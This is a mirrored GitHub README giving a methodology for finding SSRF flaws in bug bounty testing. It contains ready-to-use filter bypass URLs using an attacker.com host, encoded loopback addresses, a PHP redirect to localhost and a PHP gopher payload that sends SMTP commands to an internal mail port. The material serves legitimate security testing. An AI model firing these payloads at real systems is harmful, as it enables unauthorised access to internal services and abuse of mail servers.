Giter Site home page Giter Site logo

ssrf's Introduction

SSRF

SSRF Methodology Flowchart

Since I've seen so many people ask what to do once they get a request back to their collaborator instance, I created this flowchart to present what I usually do to test and escalate SSRFs.

Disclaimer

I am sure there are a few other ways of bypassing ssrf filters which I did not include, however this flowchart shows the ones I personally test against.

False Positives:

DNS queries only are rarely exploitable, and should never be reported without any additional impact.

When using your listener as an email domain [email protected], recieving SMTP + DNS queries are not signs of SSRF. It's just how SMTP works and should never be reported. There's been edge cases where the payload [email protected], lead to http requests. If that's the case, SSRF might be possible. See d0nut's Piercing the veal story 4.

Sources:

Whitelist filter bypasses

Some common whitelist filter bypasses I test against:

https://[email protected]
https://attacker.com/target.com
https://target.com.attacker.com

Blacklist filter bypasses (decimal, hex, octal)

Inspired from EdOverflow's blogpost on exploiting Ruby's Resolv

http://0177.1:22/  
http://0x7f.1:22/  
http://127.000.001:22/  

See more at PayloadsAllTheThings SSRF

PHP Redirect

The value appended to location will be the url your page will redirect to. You can also play around with different status codes other than 301, such as 302,303,307.

<?php
header("Location: http://127.0.0.1", TRUE, 301);
exit();
?>

SMPT Gopher payloads

Inspired from d0nut's Piercing the veal

<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <[email protected]>',
                'RCPT To: <[email protected]>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>

Payload taken from PayloadsAllTheThings SSRF

Exploiting incosistencies in url parsers + DNS Rebdinding

Orange Tsai's blackhat presentation explains this perfectly. ( PDF slides + Youtube presentation )
I also highly recommend watching Liveoverflow's video (PHP include and bypass SSRF protection with two DNS A records ) which discusses url parsing incosistencies, while also touching on DNS Rebinding.

More SSRF Resources

Jdonsec's list of SSRF Resources

ssrf's People

Contributors

iustin24 avatar

Stargazers

 avatar David Lakin avatar Divine avatar  avatar T1nker avatar Utsav Singh avatar  avatar Fahad Faisal avatar Karan avatar Jaikishan Tulswani avatar 小姜同學 avatar  avatar  avatar  avatar apskis avatar  avatar  avatar Ryota Sakai avatar moxiaoxi avatar  avatar Vinay Varma avatar Jann Moon avatar Shawn Charles avatar  avatar Jeffrey avatar  avatar 0xtavi avatar six2dez avatar  avatar John Tuyen avatar  avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.